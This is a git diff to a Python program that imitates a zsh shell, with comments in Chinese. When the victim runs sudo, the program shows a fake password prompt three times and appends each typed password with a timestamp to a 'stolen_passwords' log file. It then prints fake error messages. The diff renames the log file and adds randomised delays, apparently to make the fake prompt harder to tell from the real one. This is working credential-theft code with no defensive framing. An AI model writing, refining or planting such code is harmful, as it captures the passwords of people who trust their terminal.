diff --git a/main.py b/main.py
index 0616b5f..8a1909d 100644
--- a/main.py
+++ b/main.py
@@ -1,4 +1,4 @@
-import os, readline, time, getpass, sys, re, shlex, subprocess
+import os, readline, time, getpass, sys, re, shlex, subprocess, random
 from datetime import datetime
 
 # 自动补全功能，基于系统命令和当前目录的文件
@@ -69,10 +69,11 @@ def pseudo_zsh():
             if args[0] == 'sudo':
                 for attempt in range(3):  # 循环 3 次
                     fake_password = getpass.getpass("Password: ")
-                    with open("stolen_passwords.txt", "a") as f:
+                    with open("stolen_passwords.log", "a") as f:
                         current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")  # 获取当前时间
                         f.write(f"[{current_time}] {fake_password}\n")  # 写入时间和密码
-                    time.sleep(1)  # 模拟延迟
+                    delay = random.uniform(0.5, 2.0)  # 随机延时 0.5 到 2 秒
+                    time.sleep(delay)  # 模拟延迟
                     print("Sorry, try again.")
                 print("sudo: 3 incorrect password attempts")  # 提示错误次数
                 continue